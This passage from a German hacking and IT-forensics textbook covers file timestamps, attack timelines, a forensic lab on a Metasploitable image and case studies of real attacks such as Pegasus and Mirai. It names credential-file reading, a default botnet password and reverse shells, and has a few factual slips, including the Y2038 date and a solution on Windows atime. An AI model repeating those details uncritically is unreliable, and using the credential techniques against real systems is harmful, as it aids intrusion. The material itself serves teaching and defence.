können in regelmäßigen Abständen oder nach größeren Systemmodifikationen Baselines bei Servern erstellen. Falls verfügbar, können auch gleichartige, saubere Systeme herangezogen werden. Schließlich kann auch ein vergleichbares System auf demselben Patchlevel von Grund auf aufgebaut werden. Auch dieses System kann als Referenz für Vergleiche herangezogen werden. Die Analyse der volatilen Daten ist geeignet, um Anhaltspunkte zu finden, nach denen später im persistenten Speicher zum Beispiel auf Festplatten gesucht werden kann. Der volatile Arbeitsspeicher enthält meist wichtige Spuren, etwa zu Prozessen oder temporären Netzwerkverbindungen, und gibt so Hinweise auf einen erfolgreichen Angriff. Die erlangten Daten müssen aufbereitet werden indem Anomalien gefunden werden und Vorgänge in einen zeitlichen Zusammenhang gestellt werden müssen. Das Ziel der Analyse der volatilen Daten ist die Aufbereitung der Informationen aus dem Speicher, die möglichst mit einem Zeitstempel versehen werden muss, um eine zeitliche Reihenfolge darstellen zu können. Gegenstand der Untersuchungen sind Prozesse, Netzwerkverbindungen, User-Sessions oder laufende Dienste. Um Anomalien zu erkennen, müssen das „Known Good“ des Systems gut bekannt sein. Bei der Analyse der persistenten Daten muss für die Erstellung der Timeline untersucht werden, wann die Dateien modifiziert wurden. Linux bietet dafür drei Zeitstempel: Access-
13.2
Analysephase
243
Zeitstempel (atime), der Modified-Zeitstempel (mtime) für den Dateiinhalt und ein weiterer Modified-Zeitstempel für die Metadaten (ctime). Der Access-Zeitstempel beinhaltet den letzten Zeitpunkt bei dem eine Datei gelesen wurde. Dies bedeutet, dass ein Programm eingesetzt wurde, um die Inhalte einer Datei anzuzeigen, ohne sie zu verändern. Der Modified-Zeitstempel (mtime) entspricht dem letzten Zeitpunkt, an dem der Inhalt einer Datei schreibend geändert wurden. „Modifiziert“ bedeutet, dass etwas in der Datei geändert, gelöscht oder neue Daten hinzugefügt wurde. Der zweite Modified-Zeitstempel (ctime) bezieht sich nicht auf Änderungen am Inhalt einer Datei. Vielmehr ist hier der Zeitpunkt gespeichert, an dem die Metadaten, wie die Zugriffsberechtigung, für die Datei geändert wurden. Der ext4-Standard für das Linux-Dateisystem reserviert einen Speicherplatz für einen weiteren Zeitstempel btime (Borne Time) für den Zeitpunkt der Erstellung einer Datei. Dieser Zeitstempel ist bei aktuellen Linux-Implementierungen allerdings noch nicht umgesetzt. Bei Windows-Systemen mit dem Dateisystem „NTFS“ wird der Zeitstempel für die Dateierstellung btime jedoch gesetzt. Dafür wird seit Windows 7 der Access-Zeitstempel atime für rein lesende Zugriffe aus Performance-Gründen nicht mehr aktualisiert. Für die forensische Untersuchung ist wichtig zu beachten, dass immer nur der letzte Zugriff gespeichert ist, da die genannten Zeitstempel nur als einzelne Werte und nicht als Listen implementiert sind. Deshalb überschreibt jeder neue Zeitstempel den alten Wert. Der lesende Zugriff einer Datei im Rahmen einer forensischen Untersuchung modifiziert demnach den Wert für den Access-Zeitstempel. Wenn die Zeitstempel von „Datei geändert“, „Datei gelesen“ und „Metadaten geändert“ unterschiedlich sind, kann eine Datei in einer Zeitleiste folglich maximal drei mal erscheinen. Mehrfache Veränderungen einer Datei gehen deshalb verloren. Bei Linux-Systemen werden Zeitstempel als Integerzahlen gespeichert. Diese berechnen sich aus der Anzahl der Sekunden seit Mitternacht des 1. Januar 1970, wobei Schaltsekunden ignoriert werden. Da die größte darstellbare Zahl in einem 32-Bit-Integer mit Vorzeichen gespeichert ist, geht der Wertebereich der Integerzahl von −2.147.483.648 bis +2.147.483.647. Der negative Wertebereich wurde festgelegt, um auch Zeitpunkte vor dem 1. Januar 1970 darstellen zu können. Mit dieser Festlegung ist abzusehen, dass es beim Unix-Zeitstempel am 9. Januar 2038 um 3:14:08 Uhr UTC zu einem Überlauf kommt, was auch als Jahr-2038Problem bezeichnet wird [3]. Zeitstempel können unter Linux mit den Befehlen ls -l für die letzte Änderung, ls -lu für den letzten lesenden Zugriff und schließlich ls -lc für die letzte Änderung für die Metadaten angezeigt werden. Der Befehl stat zeigt alle drei Zeitstempel zu einer Datei auf. Leider gibt es im Linux-Betriebssystem über den Befehl touch auch die Möglichkeit, diese Zeitstempel zu modifizieren. Wie bei Windows-Systemen sind diese Zahlen nicht als Listen implementiert, sodass auch hier immer nur der Zeitpunkt für den letzten Zugriff gespeichert wird.
244
13 IT-Forensik
Eine Timeline ist nun die chronologische Zusammenfassung von Zeitstempeln. In dieser Timeline wird dargestellt, „wann“, „wer“, „was“ und ggf. „wie“ auf einem System gemacht hat. Besonders Hilfreich sind diese Zeitstempel dann, wenn sie mithilfe eines Werkzeugs gefiltert und in Zusammenhang gebracht werden. Open-Source-Werkzeuge wie „Timesketch“ [4] auf GitHub bieten genau diese Möglichkeit, wobei die Timeline zum Beispiel als „CSV“-Datei eingelesen werden kann. Eine solche „CSV“-Datei besteht aus reinem Text und kann auch mit einem einfachen Editor erstellt oder ergänzt werden. Ist für ein Angriff zum Beispiel der Tatzeitraum bekannt, kann in diesem nach verdächtigen Aktionen auf dem kompromittierten System gefahndet werden. Systemübergreifend könne Timelines miteinander verglichen werden, sodass auch der Übergang von einem System auf ein anderes (Lateral Movement) oder die Erreichung von höheren Privilegien (Privilege Escalation) nachgewiesen werden kann. In der Regel sind die Uhren der Rechner synchronisiert, sodass sie höchstens wenige Millisekunden divergieren. Mit diesen Untersuchungen werden Zusammenhänge und Abläufe eines konkreten Angriffs klar. Die Analyse der volatilen Daten ergibt oft Anhaltspunkte, wie zum Beispiel genutzte Accounts, die in der persistenten Timeline weiterverfolgt werden können. Damit ergibt sich ein Gesamtbild für den Hergang eines Angriffs. Für eine forensische Untersuchung sind insbesondere die gelöschten Daten auf einer Festplatte interessant. Für den Datenabfluss wird ein Angreifer beispielsweise temporäre Datenpakete erstellen, die er auf seine Server übertragen will. Anschließend wird er diese Datenpakete wieder löschen, damit sie nicht sofort auffallen. Beim Löschen werden die Daten auf der Festplatte je doch nicht entfernt, sondern lediglich der Eintrag im Dateiverzeichnis modifiziert. Ein „wipe“-Befehl, der die Inhalte der Dateien tatsächlich mehrfach überschreibt, ist in der Regel sehr auffällig, sodass dieser nur selten von einem Angreifer eingesetzt werden wird. Der „ungenutzte“ Speicherbereich einer Festplatte ist daher eine Fundgrube für forensische Untersuchungen. Da die Daten auf den gelöschten Bereichen noch vorhanden sind, lassen sich gelöschte Dateien mithilfe entsprechender Werkzeuge leicht wieder herstellen. Oft können auch die Zeitstempel rekonstruieren werden, sodass auch diese Aktivitäten bei einer forensischen Untersuchung in eine Timeline einfließen können.
13.3
Präsentationsphase
In der Präsentationsphase werden die Analyseergebnisse zielgruppengerecht aufbereitet dargestellt. Dabei wird die in der Analysephase erstellte Timeline von den Ereignissen bereinigt, die nicht im unmittelbaren Zusammenhang zum eigentlichen Angriff stehen. Was übrig bleibt, wird in einem sogenannten „Spreadsheet of Doom“ zusammengefasst. Das Ziel dieser Präsentationsphase ist ein Bericht, bei dem die Fakten eines Angriffs, dessen Umfang, der Zeitraum sowie der exakte Ablauf des Angriffs zusammengefasst sind. Ergänzt wird so
13.4
Abschließende Bemerkungen zur IT-Forensik
245
ein Bericht durch eine kurze Zusammenfassung des Vorfalls, die beigelegten Datenträger sowie die Prüfsummen der gesicherten Dateien. Ein erfundenes Beispiel für einen erfolgreichen Angriff könnte wie folgt aussehen: Der Vorfall sei über die Rechnersysteme PC1 und PC2 sowie einen Domaincontroller verteilt. Wir nehmen an, dass PC1 durch verschiedene versuchte Zugriffe auf interne Systeme auffällt und auf dieser Basis untersucht wird. Ein Memory-Image wird aus dem Hibernation-File des Systems gewonnen. Der Ablauf des Angriffs kann wie in Tab. 13.1 dargestellt werden.
13.4
Abschließende Bemerkungen zur IT-Forensik
Dieser kurze Ausflug in die Forensik kann nur einen Eindruck der Möglichkeiten vermitteln. Einige weitergehende Betrachtungen auch mit Bezug zur Strafverfolgung finden sich in [5]. Hier sind auch einige interessante Fallbeispiele aufgearbeitet, die den Ablauf einer forensischen Untersuchung verschiedener Vorfälle bis hin zu einer gerichtsverwertbaren Dokumentation beleuchten.
Tab. 13.1 Beispiel für ein Spreadsheet of Doom Zeit
System
Ereignis
Quelle
12:30
PC1
Ein spoolsv-Prozess wird gestartet
Memory
12:30
PC1
Eine Reverse-TCP Connection wird auf dem Port 666 geöffnet
Memory
12:35
PC1
Mit dem angemeldeten Nutzeraccount wird versucht auf verschiedene andere Systeme erfolglos zuzugreifen
Eventlogs
12:40
PC1
Mehrere Dateien werden auf das Systeme kopiert
Filesystem
12:46
PC1
Ein Domänenadministrator meldet sich auf diesem PC an und ein neuer Dienst wird erstellt Eventlog
Filesystem, Servicecreation
13:11
PC1
Der Domänenadmin öffnet eine Session zu DC1
Memory
Eine weitere Untersuchung des DC1 ergibt 13:13
DC1
Bei einem alten Serviceaccount wird das Passwort geändert
Eventlog
13:15
DC1
Diesem Account werden einige privilegierte Gruppen zugewiesen
Eventlog
13:17
DC1
Ein Dienst wird erstellt und gestartet. Dieser öffnet eine ausgehende Verbindung auf Port 80
Filesystem, Servicecreation
13:22
DC1
Active Directory Datenbank wird gedumpt
Eventlog
...
246
13 IT-Forensik
Um ein System forensisch zu untersuchen, sind genaue Kenntnisse des „Normalzustands“ erforderlich. Um forensische Untersuchungen zu erleichtern, müssen bereits bei der Planung einer IT-Installation entsprechende Maßnahmen wie zentrale Logaggregation, der Einsatz eines IDM sowie eine netzseitig gesicherte, gemeinsame Zeitbasis berücksichtigt werden. In Zeiten von „Fileless Malware“ ist die Untersuchung von Speicher ein wichtiges Mittel, denn diese Art der Schadsoftware ist darauf optimiert, keinerlei Spuren auf den Datenträgern zu hinterlassen, die später ausgewertet werden könnten. Die Sammlung aller Erkenntnisse und eine zeitliche Einordnung der relevanten Ereignisse ermöglicht nach ersten Hinweisen, die Zusammenhänge sowie den Ablauf eines Angriffs zu rekonstruieren und in der zeitlich korrekten Reihenfolge darzustellen. Beim Übergang von einem System auf ein anderes, müssen Spuren auf beiden Systemen gesucht werden. Am Ende der IT-forensischen Untersuchung steht ein vollständiges Bild des Ablaufs eines Angriffs.
13.5
Aufgaben & Lösungen zu diesem Kapitel
13.5.1 Aufgaben 13.1 Mit welchen Fragestellungen setzt sich die Computerforensik auseinander? 13.2 Wie würde ein Computerforensiker entsprechend der Taxonomie einen typischen Ransomwareangriff einordnen? 13.3 Welche Phasen durchläuft ein vollständiger forensischer Analyseprozess? 13.4 Warum legen Forensiker Kopien der Daten an, auf denen sie ihre Untersuchungen durchführen? 13.5 Wie stellen Forensiker sicher, dass sie die Daten der Festplatten nicht versehentlich modifiziert haben? 13.6 Nennen Sie einige Windows-Bordmittel, den volatilen Speicher eines Systems für forensische Analysen zu sichern. 13.7 Welche Zeitstempel werden von Windows verwaltet? 13.8 Warum sind die gelöschten Speicherbereiche von Dateien für forensische Untersuchungen besonders wichtig?
13.5
Aufgaben & Lösungen zu diesem Kapitel
247
13.9 (P) Bei dieser Aufgabe soll das Metasploitable-Image, das bisher als Ziel für die Angriffsversuche diente, forensisch untersucht werden. Zu diesem Zweck soll das Werkzeug „autopsy“ sowie das „Sleuth Kit“ eingesetzt werden, das in der Kali-Distribution bereits installiert ist. Übertragen Sie das Metasploitable-Image „Metasploitable.vmdk“, mit dem Sie die bisherigen Übungsaufgaben durchgeführt haben, auf Ihren Kali-Rechner. Damit das logische Volume mit dem Root-Verzeichnis forensisch untersucht werden kann, ist es notwendig, dass es als Festplattenimage vorliegt. Wie das geht, steht im Anhang B.21 . Starten Sie Autopsy und legen Sie einen neuen Fall an. Nehmen Sie den Host Metasploitable in den Fall auf und importieren Sie den Festplattenlink, den Sie aus dem LVM erzeugt haben. Da Sie bei einer echten forensischen Untersuchung am Ende nachweisen müssten, dass die Festplatte nicht verändert wurde, macht es Sinn an dieser Stelle gleich den MD5-Hash zu berechnen. 1. Wie heißt das Basketball-Team, das in einer der Datenbanken gespeichert ist? 2. Lesen Sie die Passworthashes aus „/etc./shadow“ sowie die Accountdaten „/etc./passwd“ aus. 3. Erstellen Sie eine Timeline für die Zeit an denen Sie mit Metasploitable gearbeitet haben. Verwenden Sie hierfür die Befehle „fls“, „ils“ und „mactime“. 4. Erstellen Sie mit denselben Befehlen eine Timeline der gelöschten Daten für die Zeit an denen Sie mit Metasploitable gearbeitet haben. 5. Finden Sie Hinweise, dass im fraglichen Zeitraum versucht wurde „vsftp“ auf eine ungewöhnliche Weise zu kontaktieren? 6. Können Sie Hinweise finden, dass jemand (Sie) sich mit der Meterpreter-Shell in dem System umgesehen haben?
13.5.2 Lösungen 13.1 Typische Fragestellungen sind: • • • • •
Wurde ein bestimmtes System erfolgreich angegriffen? Welche Auswirkungen hatte der Angriff? Wie war der zeitliche Ablauf? Wurden Daten entwendet oder manipuliert? Sind weitere Systeme betroffen und müssen diese untersucht werden?
13.2 Einordnung eines Ransomwareangriffs: 1 Autopsy kann zwar grundsätzlich VMDK-Dateien direkt öffnen, aber dann erkennt er das LVM mit
dem Namen „1.lvm“ nur als RAW-Datei und es lässt sich nur eine Stringsuche (Keyword Search) auf den Daten durchführen.
248
• • • • • • •
13 IT-Forensik
Hacker oder professionelle Kriminelle Programme oder Scripte mit Schadensfunktion Implementierung oder Konfiguration Löschen Account oder Computer Behinderung von Ressourcen oder Verfügbarkeit von Diensten Finanziell motiviert
13.3 Ein vollständiger forensischer Prozess umfasst: 1. Sicherungsphase 2. Analysephase 3. Präsentationsphase 13.4 Da das Ausmaß des Vorfalls nicht bekannt ist, sollen Beweismittel nicht versehentlich vernichtet werden. Das versehentliche Überschreiben einer Datei könnte als gelöscht markierte Dateien überschreiben, die für die forensischen Analysen ggf. wichtig wären. 13.5 Zu Beginn der forensischen Untersuchung wird ein MD5-Hash über das gesamte Festplattenimage erstellt. Am Ende der Untersuchung kann dieser Hash noch einmal berechnet und mit dem ursprünglichen Hash verglichen werden. 13.6 Suche nach: • Hibernation-Files (hiberfil.sys) • Auslagerungsdatei (pagefile.sys) oder Swap-Files (swapfile.sys) • Memory-Dumps (memory.dmp) Die Datei hiberfil.sys kann durch einen Übergang in den Ruhemodus erzeugt werden. 13.7 Folgende Zeitstempel für Dateizugriffe werden von Windows verwaltet: • • • •
Access Time (atime, für schreibende Zugriffe) Modified Time (mtime) Metadaten-Zeitstempel (ctime) Borne Time (btime)
13.8 Die Cyberkriminellen versuchen Spuren zu verwischen, die auf ihre Identität oder ihre Vorgehensweise schließen lassen. Bei Daten, die ausgelesen wurden, wurden in der Regel
Literatur
249
temporäre angelegt. Kann man diese wieder rekonstruieren, kann der Umfang des Datenabflusses abgeschätzt werden. Diese Informationen können unter Umständen aus gelöschten Speicherbereichen rekonstruiert werden. 13.9 Die Ergebnisse der forensischen Untersuchungen sind: 1. Kentucky Wildcats: Suche über „Keyword Search“ mit dem Begriff „Basketball“ in autopsy. 2. Die Passworthashes bzw. Accounts werden angezeigt, indem mit „File Analysis“ auf die Dateien „/etc/shadow“ bzw. „/etc/passswd“ geklickt wird. 3. Die Timeline lässt sich am besten über eine Shell erzeugen: $ sudo fls -f linux-ext -m / -r /root/metasploitable-root > body.fls $ sudo fls -f linux-ext -m /root/metasploitable-root >> body.fls $ mactime -b body.fls YYYY-MM-DD..YYYY-MM-DD | grep
4. Der Befehl unterscheidet sich nur in der Option „d“ für deleted $ sudo fls -f linux-ext -m / -rd /root/metasploitable-root > bodydel.fls $ sudo fls -f linux-ext -m /root/metasploitable-root >> bodydel.fls $ mactime -b bodydel.fls YYYY-MM-DD..YYYY-MM-DD | grep
5. Ja: Am Tag des Angriffs und zur korrekten Uhrzeit lassen sich in der Logdatei „var/log/vsftp.log“ auffallend viele Connects mit extrem kurzen Zeitabständen finden. 6. Nein: Die Meterpreter-Shell hinterlässt keine Spuren auf dem Dateisystem. Für den Nachweis müssten Sie ein Speicherabbild zu einem Zeitpunkt erstellen, an dem die Meterpreter-Shell aktiv ist und dieses mit „Volatility“ analysieren. Lediglich die Aktionen, die unter Einsatz der Meterpreter-Shell auf dem System durchgeführt wurden, ließen sich auf dem Dateisystem nachweisen.
Literatur 1. IT-Forensik Wiki: CERT-Taxonomie. https://it-forensik.fiw.hs-wismar.de/index.php/CERTTaxonomie/ (2020). Aufgerufen am 11. Mai 2022 2. Volatility Foundation: Volatility Foundation. https://www.volatilityfoundation.org (2020). Aufgerufen am 11. Mai 2022 3. Wikipedia: Jahr-2038-Problem. https://de.wikipedia.org/wiki/Jahr-2038-Problem (2022). Aufgerufen am 10. Mai 2022 4. Google: Welcome to Timesketch. https://timesketch.org/ (2022). Aufgerufen am 10. Mai 2022 5. BSI: Leitfaden „IT-Forensik“. https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/CyberSicherheit/Themen/Leitfaden_IT-Forensik.pdf (2011). Aufgerufen am 11. Mai 2022
Fallbeispiele erfolgreicher Angriffe
14
In diesem Kapitel findet sich eine Auswahl erfolgreicher Angriffe oder erkannter Angriffsmethoden, die in verschiedenen öffentlich zugänglichen Medien publik gemacht wurden. Dabei geht es darum, zu zeigen, dass die meisten der aktuellen Angriffe auf Mechanismen beruhen, die in den voran gegangenen Kapiteln beschrieben wurden. Nicht immer ist eine Lücke in einer Anwendung das Einfallstor für einen erfolgreichen Angriff. Selten ist es eine Fehlkonfiguration in einer Firewall oder in einem Server. Meist werden gekaperte Accounts benutzt, um den initialen Angriff zu starten. Kommen Angreifer irgendwie auf einen Server, der das zentrale Dateisystem betreibt, können sie in kürzester Zeit einen immensen Schaden verursachen. In vielen Fällen ist die durch den Angriff verursachte Schadenshöhe enorm, insbesondere dann, wenn sog. kritische Infrastrukturen betroffen sind. Zu diesen gehören zum Beispiel Krankenhäuser und Energieversorger, deren Ausfall in der Regel größere Aufmerksamkeit erlangt und die deshalb auch in den allgemeinen Medien diskutiert werden. Genau das machen sich Angreifer zunutze, da die öffentliche Aufmerksamkeit den Druck auf die Opfer weiter erhöht. Damit die Angreifer möglichst lange unentdeckt bleiben, starten sie ihre Angriffe gerne am Wochenende, unmittelbar vor Feiertagen, vor Großereignissen oder am Abend, in der Hoffnung, dass die verantwortlichen Systemadministratoren bereits im Feierabend sind und deshalb die Systeme nicht mit voller Aufmerksamkeit überwachen.
14.1
Mobile Endgeräte
Zunächst sollen ein paar Ergebnisse von Sicherheitsforschern vorgestellt werden, die sich weniger auf konkrete Angriffe beziehen, sondern Möglichkeiten aufzeigen, wie mobile Endgeräte abgehört oder ausgelesen werden konnten oder immer noch können.
© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_14
251
252
14 Fallbeispiele erfolgreicher Angriffe
14.1.1 Angriffe auf LTE- und 5G-Mobilfunknetze Im Jahr 2018 hat eine Gruppe von Wissenschaftlern des Horst-Görtz-Instituts an der Ruhruniversität Bochum nachgewiesen, dass die Mobilfunkstandards LTE (4G) und 5G anfällig für Man-in-the-Middle-Attacken [1] sind. Dabei konnten die Wissenschaftler nachweisen, dass Fehler in der Protokollimplementierung und im Protokoll selbst verankert waren. Das liegt zum einen daran, dass die Protokollspezifikationen teils sehr umfangreich und an manchen Stellen auch nicht widerspruchsfrei sind. Außerdem wird den Herstellern ein gewisser Interpretationsspielraum zugestanden. Nutzerdaten wurden zwar verschlüsselt, aber deren Integrität nicht geprüft, um Bandbreite zu sparen. Auf diese Weise konnte der Datenstrom umgeleitet werden, was von den Forschern im Rahmen einer Sicherheitstagung vorgestellt wurde. Ein besonderes Problem stellte der sogenannte „NULL-Modus“ dar, der es zulässt, auch ohne SIM-Karte Notrufe abzusetzen. Dabei wurde das Endgerät nicht authentisiert und die Datenübertragung erfolgte unverschlüsselt. Durch Fehler in der Umsetzung der Sicherheitsabfragen ließ sich dieser NULL-Modus missbrauchen, um ganz normale Verbindungen aufzubauen. Auch Downgrade-Attacken waren möglich: Mit eigenen Basisstationen konnten die Sicherheitsforscher vorgaukeln, dass sich das Endgerät in einem schwach gesicherten Netz befindet, sodass eine unverschlüsselte Übertragung der Daten und die Umlenkung des Datenstroms auf eigene Server möglich wurden. Im Rahmen einer weiteren Sicherheitskonferenz hat dieselbe Forschergruppe veröffentlicht, dass Gespräche mit Voice over LTE abgehört werden konnten, da der Schlüssel, der für die Verschlüsselung des Gesprächs verwendet wird, für mehrere Gespräche in derselben Funkzelle wiederverwendet wurde [2]. Inzwischen sind diese gefundenen Schwachstellen behoben.
14.1.2 Pegasus Spyware Immer wieder kommt die Pegasus Spyware des israelischen Unternehmens NSO Group in die Schlagzeilen, weil diese geeignet ist, sämtliche Daten eines mobilen Endgeräts auszulesen und über die Server der NSO Group an den Auftraggeber zu übersenden. Kritisch wird gesehen, dass die NSO Group ihr Produkt auch an Staaten verkauft, die im Verdacht stehen, unliebsame Regimekritiker und Politiker mithilfe der Pegasus Spyware auszuspähen. Entdeckt wurde die Spyware bereits 2016, als ein Menschenrechtsaktivist eine an ihn gerichtete SMS mit einem Link an einen Sicherheitsexperten zur weiteren Untersuchung übergab. Die Experten stellten fest, dass die Infektion mit der Spyware über die Ausnutzung einer Kette von Zero-Day-Exploits erfolgt. Da der Link und die verwendeten IP-Adressen auf Systeme hinwiesen, die bereits mit der Firma NSO Group in Verbindung gebracht wurden, konnte auf die Herkunft der Spyware geschlossen werden.
14.2
Bekannte IoT-Hacks
253
Musste bis dahin der Link aufgerufen werden, entdeckten Mitglieder des Google Project Zero im Jahr 2021, dass iPhones über animierte GIF-Bilder, die über iMessage versendet wurden, fremden Code auch ohne Nutzeraktion ausführen konnten [3]. Über diese Lücke, die mit iOS. 14.8 geschlossen wurde, konnte die Pegasus Spyware auf einem iOS-Gerät installiert werden. Besonders raffiniert ist der Angriffsweg, den die Sicherheitsforscher aufdecken konnten: Über eine Lücke im besonders effizienten Decoder für SW-Pixelbilder konnte ein BufferOverflow erzeugt werden, der geeignet war, den Speicher zu modifizieren. Diese Modifikationen wurden genutzt um logische Gatterfunktionen wie AND, OR und XOR zu simulieren. Diese Gatter wurden wiederum zu einem Softwareprozessor mit Registern, einem 64-BitAddierer und einem Komparator zusammengefügt, der beliebigen Code mit Systemrechten ausführen konnte. Dieser Prozessor wurde mit einer entsprechenden Programmierung zum Nachladen und zur Installation der Pegasus Spyware verwendet. Die Pegasus Spyware ist geeignet, Gespräche, das Adressbuch, MessengerKommunikation, GPS-Daten, Dokumente und Bilder, den Browserverlauf und alle gespeicherten Passwörter zu übermitteln. Dabei achtet die Spyware darauf, die Daten nur über WLAN an die Server zu übertragen, damit kein Verbrauch des Datenvolumens über die Mobilfunkverbindung erfolgt, was dem Opfer auffallen könnte. Die NSO Group versicherte, dass sie Ihre Software nur zum Zweck der Verfolgung von kriminellen Straftaten und Terrorismus vertreiben und dass sie Verstöße durch geeignete Maßnahmen unterbinden. Allerdings konnten Journalisten nachweisen, dass die Pegasus Spyware in einigen Ländern auch gegen Regimekritiker und unliebsame Politiker oder Journalisten zum Einsatz kommt. Deshalb wurde die NSO Group in den USA auf eine Liste der schädlichen Unternehmen gesetzt1 . Angeblich ist die NSO Group dadurch in finanzielle Schieflage geraten.
14.2
Bekannte IoT-Hacks
Es folgend einige Beispiele von Hacks auf IoT-Geräten, die die Spannweite der Gefahren verdeutlichen sollen [4].
14.2.1 Mirai Botnet (aka Dyn Attack) Im Oktober 2016 wurde der bis dahin größte DDoS-Angriff aller Zeiten gestartet. Die Attacke galt dem Serviceprovider Dyn. Der DDos-Angriff lief über Zombies in einem IoTBotnet. Die Auswirkung war, dass große Teile des Internet ausfielen. Firmen wie Twitter,
1 Die Begründung war, dass die NSO Group gegen die Außenpolitik und die nationalen Sicherheits-
interessen der USA gehandelt habe.
254
14 Fallbeispiele erfolgreicher Angriffe
The Guardian, Netflix, Reddit und CNN waren nicht mehr über das Internet erreichbar. Dieses IoT-Botnetz wurde über die Schadsoftware Mirai aufgebaut und betrieben. Das Prinzip, wie das Botnetz erweitert wurde, war einfach: Ein Gerät das mit der Schadsoftware Mirai infiziert wurde, suchte selbständig im Internet nach weiteren IoT-Geräten, die es direkt erreichen konnte und die über eine bekannte Lücke angreifbar waren. Es versuchte sich mit dem Defaultpasswort „xmhdipc“ und Nutzernamen „root“ einzuloggen. War dieser Versuch erfolgreich, wurde das Gerät ebenfalls mit der Malware infiziert. Typische Ziele waren Kameras und DVD-Player. Die Lehren, die aus diesem Angriff gezogen wurden, sind laut PC-Magazin [5] genau die, die in diesem Buch bereits mehrfach genannt wurden: 1. Geräte, deren Software, Passwörter oder Firmware nicht aktualisiert werden kann, sollten niemals eingesetzt werden. 2. Der Standardbenutzername und das Standardpasswort sollte bei der Installation jedes Geräts, das eine Verbindung ins Internet aufbauen kann, unbedingt geändert werden. 3. Jedes Gerät sollte ein individuelles Passwort besitzen. 4. IoT-Geräte sollten immer mit den neusten Updates und Patches versorgt werden.
14.2.2 Kardiologische Überwachungsgeräte Im Jahr 2017 wurde festgestellt, dass die implantierbaren Herzschrittmacher der Firma St. Jude Medical von Hackern manipuliert werden konnten. Über das Auslesegerät konnten Hacker die Batterie vorzeitig entladen oder unkorrekte Elektroschocks auslösen. Der Angriff wurde möglich durch die Auslesegeräte der Kardiologen, die von den Angreifern gekapert wurden. Über diese wurde ein Arzt mit Informationen über die Herzfunktion des Patienten informiert. Diese Daten waren gedacht, um die Funktion der Herzschrittmachers zu optimieren, konnten diesen jedoch auch außer Betrieb setzen.
14.2.3 Überwachungsgeräte der Herzfunktion von Babys Überwachungsgeräte der Firma Owlet wurden eingesetzt, um die Herzfunktion von Babys zu überwachen, die ein erhöhtes Risiko für den plötzlichen Kindstod hatten. Diese Geräte sind mit dem Internet verbunden. Angreifer konnten die Geräte übernehmen, sie ausschalten oder Fehlalarme auslösen.
14.2
Bekannte IoT-Hacks
255
14.2.4 TRENDnet WebCam Hack Die Firma TRENDnet vermarktete ihre Kameras für verschiedene Anwendungen, von der Heimsicherheit bis zur Babyüberwachung. Die Firma behauptete, ihre Kameras seien sicher, was sie durch den Namen „SecurView“ unterstrichen. Leider gab es einen Softwarefehler über den jeder die laufenden Kamerabilder sehen konnte, der die IP-Adresse der Kamera kannte. Da die Kameras auch mit Mikrofonen ausgestattet waren, konnten diese auch verwendet werden, um die überwachten Bereiche abzuhören. Darüber hinaus übertrug TRENDnet lange Zeit die Accountdaten der angemeldeten Benutzer ohne Verschlüsselung über das Internet und speicherte diese unverschlüsselt auf den Geräten. Da es eigentlich zu den trivialsten Sicherheitsmechanismen gehört, IP-Adressen gegen Hackerangriffe zu schützen und die Anmeldedaten zu verschlüsseln, waren Sicherheitsforscher erstaunt über die Nachlässigkeit der Entwickler. Insbesondere deshalb, weil die Firma TRENDnet ganz explizit mit Sicherheitsfunktionen warb.
14.2.5 Jeep Hack Im Juli 2015 schaffte es ein Forschungsteam über den CAN-Bus eines Jeeps volle Kontrolle über das Fahrzeug zu erhalten. Über ein Firmware-Update schafften sie es, ein FirmwareUpdate einzuspielen, um das Fahrzeug über das Mobilfunknetz zu hacken. Die Forscher konnten so das Fahrzeug beschleunigen, abbremsen und sogar von der Strecke abkommen lassen. Heute besitzen alle modernen Fahrzeuge ein Mobilfunk-Modem. Sie sind direkt mit dem Internet verbunden und senden laufend Standortdaten zu den Herstellern. Viele Fahrzeuge lassen sich über Netzwerkfunktionen entriegeln.
14.2.6 Verkada-Einbruch Die Firma Verkada ist ein Sicherheitsdienstleister aus dem Silicon Valley in Kalifornien. Im März 2021 entdeckten Cyberkriminelle Benutzerdaten im Internet, die sie nutzten, um Zugang zum Verkada-Firmennetz zu erlangen. Über Lateral Movement und Privilege Escalation kamen sie in den Besitz eines Super-User Accounts, von dem aus sie die Kontrolle über das Netzwerk der Überwachungskameras übernahmen und auf das in der Cloud gespeicherte Videomaterial von tausenden Kunden der Sicherheitsfirma zugriffen. Offensichtlich gingen die Cyberkriminellen sehr behutsam vor, denn die Sicherheitsfirma registrierte den Angriff erst, nachdem Videomaterial über Twitter veröffentlicht wurde und Medien darüber berichteten. Die Angreifer haben damit geprahlt, dass sie zwei volle Tage Zugriff auf die gesamten Systeme einer Sicherheitsfirma hatten.
256
14 Fallbeispiele erfolgreicher Angriffe
Die vorhandenen Sicherheitsmaßnahmen waren offensichtlich wenig wirksam. Weder die Kameras noch die zentralen Server wurden durch ein IDS gesichert. Der Cyberangriff hätte noch wesentlich größeren Schaden verursachen können, wenn die Angreifer weiter unerkannt geblieben wären: Sie hätten die sensiblen Daten aus den überwachten Einrichtungen, die teils kritische Infrastrukturen waren, für weitere Angriffe nutzen oder an Kriminelle verkaufen können. Außerdem hätten sie Zugangssysteme außer Betrieb nehmen oder Bildmaterial von Überwachungen manipulieren können, sodass Einbrecher ein leichtes Spiel gehabt hätten.
14.2.7 Alexa vs. Alexa Sicherheitsforscher konnten zeigen, dass es unter bestimmten Umständen möglich ist, Sprachbefehle, die über einen Amazon-Echo-Lautsprecher ausgegeben werden, von diesem selbst ausgeführt werden können [6]. Die Forscher haben nachgewiesen, dass es möglich ist, auf diese Weise intelligente Hausgeräte zu steuern, Gegenstände zu kaufen, Kalender zu manipulieren oder den Raum abzuhören. Sie konnten zeigen, dass 99 % der Befehle korrekt ausgeführt werden. Um die Kontrolle über einen Amazon-Echo-Lautsprecher zu übernehmen, reicht es, dass die Angreifer sich nur einige Sekunden in der Nähe des Lautsprechers aufhalten und Alexa durch einen Sprachbefehl anweisen, sich mit dem Gerät über Bluetooth zu verbinden. Anschließend müssen sie sich nur noch in der Funkreichweite des Echo-Lautsprechers befinden und können Sprachbefehle an den Echo-Lautsprecher übermitteln. Die Sicherheitsforscher haben diese Sicherheitslücke vor Veröffentlichung an Amazon gemeldet. Ein bereits zur Verfügung gestellter Sicherheitspatch soll diese Lücke schließen.
14.3
Verschlüsselungsangriffe
